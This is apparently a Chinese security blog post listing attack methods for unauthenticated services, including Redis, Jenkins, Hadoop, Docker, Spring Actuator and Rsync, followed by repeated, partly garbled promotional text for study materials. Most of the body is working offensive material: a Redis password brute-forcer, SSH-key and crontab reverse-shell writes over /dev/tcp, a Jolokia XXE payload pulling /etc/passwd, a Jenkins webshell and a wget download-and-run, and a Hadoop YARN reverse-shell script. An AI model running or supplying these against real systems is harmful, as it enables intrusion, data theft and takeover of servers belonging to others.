先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
google hacking语法:
intitle:Druid Stat Index
![在这里插入图片描述](https://img-blog.csdnimg.cn/062a41d341754bf6a789dc021fc12940.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAZ29kZGVtb24=,size_20,color_FFFFFF,t_70,g_se,x_16)
进一步利用如果有的时候session存在可以进行session获取伪造
`2.redis未授权访问或者弱口令情况`
漏洞原因:
这个也是经常用ssrf打内网的原因
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
批量判断方法:
#! /usr/bin/env python
_*_ coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=[‘redis’,‘root’,‘oracle’,‘password’,‘p@aaw0rd’,‘abc123!’,‘123456’,‘admin’]
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send(“INFO\r\n”)
result = s.recv(1024)
if “redis_version” in result:
return u"未授权访问"
elif “Authentication” in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send(“AUTH %s\r\n” %(pass_))
result = s.recv(1024)
if ‘+OK’ in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if name == ‘__main__’:
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)
利用方法:
登录redis
redis-cli -h 192.168.0.104(ip)
![在这里插入图片描述](https://img-blog.csdnimg.cn/b19bf11bd131410eb1b3c826c2302bf0.png)
2.1 利用redis写webshell
![在这里插入图片描述](https://img-blog.csdnimg.cn/dfb7bdc42ba74eb8b1f758e0c149d789.png)
2.2 利用"公私钥"认证获取root权限
前提:redis是以root身份运行
mkdir /root/.ssh
config set dir /root/.ssh
config set dbfilename authorized_keys
set xxx “\n\n\n本地公钥信息\n\n\n” #"本地公钥信息"替换为自己的公钥信息
save
![在这里插入图片描述](https://img-blog.csdnimg.cn/ac8aea3b1b064201910f623028216dd6.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAZ29kZGVtb24=,size_20,color_FFFFFF,t_70,g_se,x_16)
2.3 crontlab反弹shell
1).攻击者服务器上启动一个监听端口
nc -lvnp 4444
2.)进行写
连接redis,写入反弹shell
redis-cli -h 192.168.0.104 -p 端口
set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n”
config set dir /var/spool/cron
config set dbfilename root
save
2.4redis主从复制rce
原理:
Redis实例设置主从模式的时候,Redis的主机实例就可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,进而进行执行拓展的新命令
两个脚本
1).https://github.com/n0b0dyCN/redis-rogue-server
![在这里插入图片描述](https://img-blog.csdnimg.cn/df277076fd4743b9934441af0606821a.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAZ29kZGVtb24=,size_20,color_FFFFFF,t_70,g_se,x_16)
2).https://github.com/Ridter/redis-rce
![在这里插入图片描述](https://img-blog.csdnimg.cn/4fd08539fd584aacb4b34e1bd5965e04.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAZ29kZGVtb24=,size_20,color_FFFFFF,t_70,g_se,x_16)
`3.MongoDB未授权访问`
概念:MongoDB是一个基于分布式文件存储的数据库,且默认端口
产生原因:
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作)而且可以远程访问数据库
漏洞利用:
ip:端口(访问即可,默认是27017)
工具:
https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe
`4.javaMelody`
特征:
![在这里插入图片描述](https://img-blog.csdnimg.cn/cef8422de35b46c89cfb155bff0d071e.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAZ29kZGVtb24=,size_20,color_FFFFFF,t_70,g_se,x_16)
页面:/monitoring
`5.swagger扫描`
常见的页面
/swagger-ui.html
/swagger/swagger-ui.html
/api/swagger-ui.html
/v1.x/swagger-ui.html
/swagger/index.html
swagger-ui.html#/api-memory-controller
/swagger/ui/
swagger-ui
[swagger扫描工具](https://bbs.csdn.net/topics/618540462)
![在这里插入图片描述](https://img-blog.csdnimg.cn/43591964c1bf43c39b3cb2863d12b75f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAZ29kZGVtb24=,size_20,color_FFFFFF,t_70,g_se,x_16)
`6.kibana未授权访问`
介绍:可以用kibana搜索、查看存放在Elasticsearch中的数据。默认端口是5601。
fofa:/app/kibana
利用方法:
http://<target\_IP>:5601/app/kibana#/
![在这里插入图片描述](https://img-blog.csdnimg.cn/1880504820b547f7becf1feb6514498b.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAZ29kZGVtb24=,size_20,color_FFFFFF,t_70,g_se,x_16)`7.spring cloud`
Springboot之actuator配置不当的漏洞利用
| Http 方法 | 路径 | 描述 |
| --- | --- | --- |
| get | /autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
| get | /configprops | 描述配置属性(包含默认值)如何注入 Bean |
| get | /beans | 描述应用程序上下文里全部的 Bean,以及它们的关系 |
| get | /dump | 获取线程活动的快照 |
| get | /env | 获取全部环境属性 |
| get | /env/{name} | 根据名称获取特定的环境属性值 |
| get | /health | 报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供 |
| get | /info | 获取应用程序的定制信息,这些信息由 info 打头的属性提供 |
| get | /mappings | 描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系 |
| get | /metrics | 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数 |
| get | /metrics/{name} | 报告指定名称的应用程序度量值 |
| post | /shutdown | 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false) |
| get | /trace | 提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等) |
sprigboot判断方法:
①根据title去确定
![在这里插入图片描述](https://img-blog.csdnimg.cn/2fb8338829534c5aa69337f9d7b39967.png)
②根据404页面返回去进行判断
![在这里插入图片描述](https://img-blog.csdnimg.cn/029b4078595c4395abfe74cb26339b77.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAZ29kZGVtb24=,size_20,color_FFFFFF,t_70,g_se,x_16)
路径漏洞利用:
/jolokia/list#并且返回的json中有“reloadByURL”,关于路径问题:1.x版本的在根路径下注册路由
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性,数据库账户密码泄露,可获取mysql,managodb数据库的用户名和密码
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供,git项目地址泄露,可获取git项目的地址
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)获取用户认证字段信息,,比如如下站点存在 actuator 配置不当漏洞,在其 trace 路径下,除了记录有基本的 HTTP 请求信息(时间戳、HTTP 头等),还有用户 token、cookie 字段
/heapdump 路径 #泄露站点内存信息,很多时候会包含用户的账户和密码
进阶利用
[Jolokia利用和env进阶利用思路](https://bbs.csdn.net/topics/618540462)
利用/jolokia/exec结合起来进行利用
1.xxe
vps的文件
1.fire.xml
<?xml version="1.0" encoding="utf-8" ?> %remote;%int;]>&trick;
2.fire.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
客户端打payload
target-ip/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps-ip!/fire.xml
`8.Elasticsearch未授权访问`
漏洞原因:
Elasticsearch是用Java开发的企业级搜索引擎,默认端口9200,存在未授权访问漏洞时,可被非法操作数据
接口:
/_nodes #查看节点数据
/_cat/indices #索引
_cat/indices
/_plugin/head
/_nodes/
/_status
/_search?pretty
`9.Jenkis未授权访问`
概念:是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。
定位:
![在这里插入图片描述](https://img-blog.csdnimg.cn/06f123de2e8449d79337302a5ebdcf5f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAZ29kZGVtb24=,size_20,color_FFFFFF,t_70,g_se,x_16)
漏洞地址(未经授权访问的):
http://192.168.254.151:8080/manage
http://192.168.254.151:8080/script
典型命令
查询当前用户
println “whoami”.execute().text
查看ip配置信息
println “ifconfig -a”.execute().text
复现方法:
访问manage页面后点击脚本命令行
写shell
new File(“D:\phpstudy\_pro\WWW\ma.php”).write(’<?php @eval($\_POST[cmd]);?>’);
利用wget命令远程下载shell
println “wget http://xxx.secpulse.com/tools/back.py -P /tmp/”.execute().text
println “python /tmp/back.py 10.1.1.111 8080”.execute().text
back.py并不需要root权限
poc进行利用漏洞
`10.JBoss未授权访问`
概念:JBoss是一个基于J2EE的开放源代码的应用服务器。( 个人更加喜欢理解为组件服务器)
漏洞原因:
JBoss默认访问jmx-console页面不需要输入密码,或者默认密码admin/admin
部署马方法
两个思路部署马
批量脚本:
https://github.com/joaomatosf/jexboss
`11.Hadoop`
概念:是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
定位:
![在这里插入图片描述](https://img-blog.csdnimg.cn/27d174c76bba4d9180089d736103671a.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAZ29kZGVtb24=,size_20,color_FFFFFF,t_70,g_se,x_16)
利用payload:
反弹shell结合shell脚本即可
#!/usr/bin/env python
import requests
target = ‘http://192.168.92.131:8088/’
lhost = ‘192.168.10.136’ # put your localhost ip here, and listen at port 9999
url = target +‘ws/v1/cluster/apps/new-application’
resp = requests.post(url)
app_id = resp.json()[‘application-id’]
url = target + ‘ws/v1/cluster/apps’
data = {
‘application-id’: app_id,
‘application-name’: ‘get-shell’,
‘am-container-spec’: {
‘commands’: {
‘command’: ‘/bin/bash -i >& /dev/tcp/%s/9999 0>&1’ %lhost,
},
},
‘application-type’: ‘YARN’,
}
requests.post(url, json=data)
`12.VNC未授权访问`
概念:VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。
VNC 默认端口号为 5900、5901。
利用方法:
12.1)
安装工具
VNC-Viewer-5.2.0-Windows-32bit.msi
客户端安装包下载链接:
https://pan.baidu.com/s/1phgU95Kfo4W1VboNIB6Mqg 提取码:htq9
安装过程,双击msi文件一路下一步就可以了。
12.2)进行连接
在 VNC 客户端输入目标服务器IP,之后点击确定、连接,即可成功控制目标服务器
![在这里插入图片描述](https://img-blog.csdnimg.cn/1a270e6afa74407187146e6cb6f70658.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/fefa9e69a87d4e33a790082fb42f891f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAZ29kZGVtb24=,size_20,color_FFFFFF,t_70,g_se,x_16)
修复方法:给vnc配置密码
`13.docker未授权访问`
漏洞原因:docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。
标识页面:
①页面显示这个
![在这里插入图片描述](https://img-blog.csdnimg.cn/7e52d080467349fdb0abf9f04fcc95c6.png)
②查看目标基本信息
:2379/version
:2379/info
![在这里插入图片描述](https://img-blog.csdnimg.cn/47db4595b8d54127994e4d595db0b1c4.png)
漏洞利用:
#1.新运行
sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
#2、在容器内执行命令,将反弹shell的脚本写入到
/var/spool/cron/root echo ‘* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1’ >> /mnt/var/spool/cron/crontabs/root
自己vps主机配置
![在这里插入图片描述](https://img-blog.csdnimg.cn/88aeff42f4c340ac83a6f49d77f9b501.png)
`14.Zookeper未授权访问`
概念:ZooKeeper是一个分布式的、开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。
漏洞原因:
ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。
漏洞复现:echo envi|nc 192.168.15.74 2181
![在这里插入图片描述](https://img-blog.csdnimg.cn/e8cacbaa81c94ee793b5000315604120.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAZ29kZGVtb24=,size_12,color_FFFFFF,t_70,g_se,x_16)
`15.Rsync未授权访问`
概念:
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。
漏洞原理:开启了rsync服务但是没设置配置密码,因此攻击者可以读写该服务
漏洞检测:
nmap检测
nmap -p 873 --script rsync-list-modules 192.168.193.128
漏洞复现:
连接后进行执行的常见命令
①查看模块列表
rsync rsync://your-ip:873/
②列出模块下文件
rsync rsync://your-ip:873/src/
③下载文件
rsync -av rsync://your-ip:873/src/etc/passwd
④上传文件
rsync -av shell rsync://your-ip:873/src/etc/cron.d/shell
`16.Active MQ 未授权访问`
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
***93道网络安全面试题***
![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)
![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)
![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)
内容实在太多,不一一截图了
### 黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
😝朋友们如果有需要的话,可以联系领取~
#### 1️⃣零基础入门
##### ① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。
![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)
##### ② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)
#### 2️⃣视频配套工具&国内外网安书籍、文档
##### ① 工具
![](https://img-blog.csdnimg.cn/img_convert/d3f08d9a26927e48b1332a38401b3369.png#pic_center)
##### ② 视频
![image1](https://img-blog.csdnimg.cn/img_convert/f18acc028dc224b7ace77f2e260ba222.png#pic_center)
##### ③ 书籍
![image2](https://img-blog.csdnimg.cn/img_convert/769b7e13b39771b3a6e4397753dab12e.png#pic_center)
资源较为敏感,未展示全面,需要的最下面获取
![在这里插入图片描述](https://img-blog.csdnimg.cn/e4f9ac066e8c485f8407a99619f9c5b5.png#pic_center)![在这里插入图片描述](https://img-blog.csdnimg.cn/111f5462e7df433b981dc2430bb9ad39.png#pic_center)
##### ② 简历模板
![在这里插入图片描述](https://img-blog.csdnimg.cn/504b8be96bfa4dfb8befc2af49aabfa2.png#pic_center)
**因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆**
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
nter)
资源较为敏感,未展示全面,需要的最下面获取
![在这里插入图片描述](https://img-blog.csdnimg.cn/e4f9ac066e8c485f8407a99619f9c5b5.png#pic_center)![在这里插入图片描述](https://img-blog.csdnimg.cn/111f5462e7df433b981dc2430bb9ad39.png#pic_center)
##### ② 简历模板
![在这里插入图片描述](https://img-blog.csdnimg.cn/504b8be96bfa4dfb8befc2af49aabfa2.png#pic_center)
**因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆**
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**